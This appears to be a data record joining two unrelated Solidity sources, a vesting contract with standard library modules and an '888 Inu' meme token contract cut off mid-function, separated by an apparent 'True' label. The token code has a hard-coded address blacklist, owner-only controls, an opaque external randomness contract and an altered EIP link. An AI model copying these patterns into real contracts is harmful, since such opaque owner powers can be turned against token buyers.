// Prevent elapsed from passing the vestingPeriod value.
uint256 elapsed = cutoffTime > vestingCompleteDate
? vestingCompleteDate - lastClaimed
: cutoffTime - lastClaimed;
uint256 accrued = (participant.vestedValue * elapsed) / vestingPeriod;
return participant.claimable + accrued;
}
/**
* @dev Withdraws FOREX for the contract owner.
* @param amount The amount of FOREX to withdraw.
*/
function withdrawForex(uint256 amount) external onlyOwner {
IERC20(FOREX).safeTransfer(msg.sender, amount);
}
/**
* @dev Changes the address for a participant. The new address
* will be eligible to claim the currently claimable funds
* from the previous address, plus all the accrued funds
* until the end of the vesting period.
* @param previous The previous participant address to be changed.
* @param current The current participant address to be eligible for claims.
*/
function changeParticipantAddress(address previous, address current)
external
onlyOwner
{
require(current != address(0), "Current address cannot be zero");
require(previous != current, "Addresses are the same");
Participant storage previousParticipant = participants[previous];
require(
doesParticipantExist(previousParticipant),
"Previous participant does not exist"
);
Participant storage currentParticipant = participants[current];
require(
!doesParticipantExist(currentParticipant),
"Next participant already exists"
);
currentParticipant.claimable = previousParticipant.claimable;
currentParticipant.vestedValue = previousParticipant.vestedValue;
currentParticipant.lastClaimDate = previousParticipant.lastClaimDate;
delete participants[previous];
emit ParticipantAddressChanged(previous, current);
}
/**
* @dev Returns whether the participant exists.
* @param participant Pointer to the participant object.
*/
function doesParticipantExist(Participant storage participant)
private
view
returns (bool)
{
return participant.claimable > 0 || participant.vestedValue > 0;
}
/**
* @dev Enables FOREX claiming from the next block.
* Can only be called once.
*/
function enableForexClaims() public onlyOwner {
assert(claimStartDate == 0);
claimStartDate = block.timestamp + 1;
}
/**
* Returns whether the contract is currently claimable.
*/
function isClaimable() private view returns (bool) {
return claimStartDate != 0 && block.timestamp >= claimStartDate;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
|
True
|
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// SPDX-License-Identifier: MIT
/*
888 Inu
https://t.me/Triple8InuETH
*/
pragma solidity >=0.6.0 <0.9.0;
abstract contract Context {
function _msgSender() internal view returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the bep token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/trip/8/inu/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function allPairs(uint) external view returns (address lpPair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface Mary {
function getRandomNumber() external view returns (uint256);
}
contract Triple8Inu is Context, IERC20 {
// Ownership moved to in-contract for customizability.
address private _owner;
mapping (address => uint256) private _tOwned;
mapping (address => bool) lpPairs;
uint256 private timeSinceLastPair = 0;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
mapping (address => bool) private _isSniper;
mapping (address => bool) private _liquidityHolders;
uint256 private startingSupply = 88_888_888_888;
string private _name = "888 Inu";
string private _symbol = "888";
uint256 private _buyLiquidityFee = 100;
uint256 private _buyMarketingFee = 500;
uint256 private _buyJackpotFee = 300;
uint256 private _sellLiquidityFee = _buyLiquidityFee;
uint256 private _sellMarketingFee = _buyMarketingFee;
uint256 private _sellJackpotFee = _buyJackpotFee;
uint256 private _transferLiquidityFee = _buyLiquidityFee;
uint256 private _transferMarketingFee = _buyMarketingFee;
uint256 private _transferJackpotFee = _buyJackpotFee;
uint256 public _buyFee = _buyLiquidityFee + _buyMarketingFee + _buyJackpotFee;
uint256 public _sellFee = _buyFee;
uint256 public _transferFee = _buyFee;
uint256 constant public maxBuyTaxes = 2000;
uint256 constant public maxSellTaxes = 2000;
uint256 constant public maxTransferTaxes = 2000;
uint256 public _liquidityRatio = _buyLiquidityFee;
uint256 public _marketingRatio = _buyMarketingFee;
uint256 public _jackpotRatio = _buyJackpotFee;
uint256 private masterTaxDivisor = 10000;
uint256 private constant MAX = ~uint256(0);
uint8 private _decimals = 9;
uint256 private _decimalsMul = _decimals;
uint256 private _tTotal = startingSupply * 10**_decimalsMul;
uint256 private _tFeeTotal;
IUniswapV2Router02 public dexRouter;
address public lpPair;
// UNI ROUTER
address private _routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address public DEAD = 0x000000000000000000000000000000000000dEaD;
address public ZERO = 0x0000000000000000000000000000000000000000;
address payable private _marketingWallet = payable(0xB224D1a6Cb6fC3Db3d48Af156a5B5c2Be15EcAAb);
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = false;
uint256 private maxTxPercent = 3;
uint256 private maxTxDivisor = 100;
uint256 private _maxTxAmount = (_tTotal * maxTxPercent) / maxTxDivisor;
uint256 public maxTxAmountUI = (startingSupply * maxTxPercent) / maxTxDivisor;
uint256 private maxWalletPercent = 3;
uint256 private maxWalletDivisor = 100;
uint256 private _maxWalletSize = (_tTotal * maxWalletPercent) / maxWalletDivisor;
uint256 public maxWalletSizeUI = (startingSupply * maxWalletPercent) / maxWalletDivisor;
uint256 private swapThreshold = (_tTotal * 5) / 10000;
uint256 private swapAmount = (_tTotal * 5) / 1000;
bool tradingEnabled = false;
bool private sniperProtection = true;
bool public _hasLiqBeenAdded = false;
uint256 private _liqAddStatus = 0;
uint256 private _liqAddBlock = 0;
uint256 private _liqAddStamp = 0;
uint256 private _initialLiquidityAmount = 0;
uint256 private snipeBlockAmt = 0;
uint256 public snipersCaught = 0;
bool private gasLimitActive = true;
uint256 private gasPriceLimit;
bool private sameBlockActive = true;
mapping (address => uint256) private lastTrade;
address[] private pairPath;
Mary mary;
bool public lotteryEnabled = true;
uint256 private currentTxIndex = 0;
uint256 private jackpotModifier = 250;
uint256 private randomRange = 100;
uint256 private winningNumber = 0;
uint256 public buyAmtNeeded = 9*(10**16);
address public lastJackpotWinner;
uint256 public lastJackpotWinAmt;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SniperCaught(address sniperAddress);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
constructor (address marsense) payable {
_tOwned[_msgSender()] = _tTotal;
// Set the owner.
_owner = msg.sender;
mary = Mary(marsense);
dexRouter = IUniswapV2Router02(_routerAddress);
lpPair = IUniswapV2Factory(dexRouter.factory()).createPair(dexRouter.WETH(), address(this));
lpPairs[lpPair] = true;
_allowances[address(this)][address(dexRouter)] = type(uint256).max;
_isExcludedFromFees[owner()] = true;
_isExcludedFromFees[address(this)] = true;
_liquidityHolders[owner()] = true;
// Approve the owner for PancakeSwap, timesaver.
_approve(_msgSender(), _routerAddress, _tTotal);
// Ever-growing sniper/tool blacklist
_isSniper[0xE4882975f933A199C92b5A925C9A8fE65d599Aa8] = true;
_isSniper[0x86C70C4a3BC775FB4030448c9fdb73Dc09dd8444] = true;
_isSniper[0xa4A25AdcFCA938aa030191C297321323C57148Bd] = true;
_isSniper[0x20C00AFf15Bb04cC631DB07ee9ce361ae91D12f8] = true;
_isSniper[0x0538856b6d0383cde1709c6531B9a0437185462b] = true;
_isSniper[0x6e44DdAb5c29c9557F275C9DB6D12d670125FE17] = true;
_isSniper[0x90484Bb9bc05fD3B5FF1fe412A492676cd81790C] = true;
_isSniper[0xA62c5bA4D3C95b3dDb247EAbAa2C8E56BAC9D6dA] = true;
_isSniper[0xA94E56EFc384088717bb6edCccEc289A72Ec2381] = true;
_isSniper[0x3066Cc1523dE539D36f94597e233719727599693] = true;
_isSniper[0xf13FFadd3682feD42183AF8F3f0b409A9A0fdE31] = true;
_isSniper[0x376a6EFE8E98f3ae2af230B3D45B8Cc5e962bC27] = true;
_isSniper[0x0538856b6d0383cde1709c6531B9a0437185462b] = true;
_isSniper[0x90484Bb9bc05fD3B5FF1fe412A492676cd81790C] = true;
_isSniper[0xA62c5bA4D3C95b3dDb247EAbAa2C8E56BAC9D6dA] = true;
_isSniper[0xA94E56EFc384088717bb6edCccEc289A72Ec2381] = true;
_isSniper[0x3066Cc1523dE539D36f94597e233719727599693] = true;
_isSniper[0xf13FFadd3682feD42183AF8F3f0b409A9A0fdE31] = true;
_isSniper[0x376a6EFE8E98f3ae2af230B3D45B8Cc5e962bC27] = true;
_isSniper[0x201044fa39866E6dD3552D922CDa815899F63f20] = true;
_isSniper[0x6F3aC41265916DD06165b750D88AB93baF1a11F8] = true;
_isSniper[0x27C71ef1B1bb5a9C9Ee0CfeCEf4072AbAc686ba6] = true;
_isSniper[0xDEF441C00B5Ca72De73b322aA4e5FE2b21D2D593] = true;
_isSniper[0x5668e6e8f3C31D140CC0bE918Ab8bB5C5B593418] = true;
_isSniper[0x4b9BDDFB48fB1529125C14f7730346fe0E8b5b40] = true;
_isSniper[0x7e2b3808cFD46fF740fBd35C584D67292A407b95] = true;
_isSniper[0xe89C7309595E3e720D8B316F065ecB2730e34757] = true;
_isSniper[0x725AD056625326B490B128E02759007BA5E4eBF1] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
receive() external payable {}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
// Ownable removed as a lib and added here to allow for custom transfers and recnouncements.
// This allows for removal of ownership privelages from the owner once renounced or transferred.
function owner() public view returns (address) {
return _owner;
}
function transferOwner(address newOwner) external onlyOwner() {
require(newOwner != address(0), "Call renounceOwnership to transfer owner to the zero address.");
require(newOwner != DEAD, "Call renounceOwnership to transfer owner to the zero address.");
setExcludedFromFees(_owner, false);
setExcludedFromFees(newOwner, true);
if (_marketingWallet == payable(_owner))
_marketingWallet = payable(newOwner);
_allowances[_owner][newOwner] = balanceOf(_owner);
if(balanceOf(_owner) > 0) {
_transfer(_owner, newOwner, balanceOf(_owner));
}
_owner = newOwner;
emit OwnershipTransferred(_owner, newOwner);
}
function renounceOwnership() public virtual onlyOwner() {
setExcludedFromFees(_owner, false);
_owner = address(0);
emit OwnershipTransferred(_owner, address(0));
}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
function totalSupply() external view override returns (uint256) { return _tTotal; }
function decimals() external view override returns (uint8) { return _decimals; }
function symbol() external view override returns (string memory) { return _symbol; }
function name() external view override returns (string memory) { return _name; }
function getOwner() external view override returns (address) { return owner(); }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function balanceOf(address account) public view override returns (uint256) {
return _tOwned[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address sender, address spender, uint256 amount) private {
require(sender != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[sender][spender] = amount;
emit Approval(sender, spender, amount);
}
function approveMax(address spender) public returns (bool) {
return approve(spender, type(uint256).max);
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
return true;
}
function setNewRouter(address newRouter) public onlyOwner() {
IUniswapV2Router02 _newRouter = IUniswapV2Router02(newRouter);
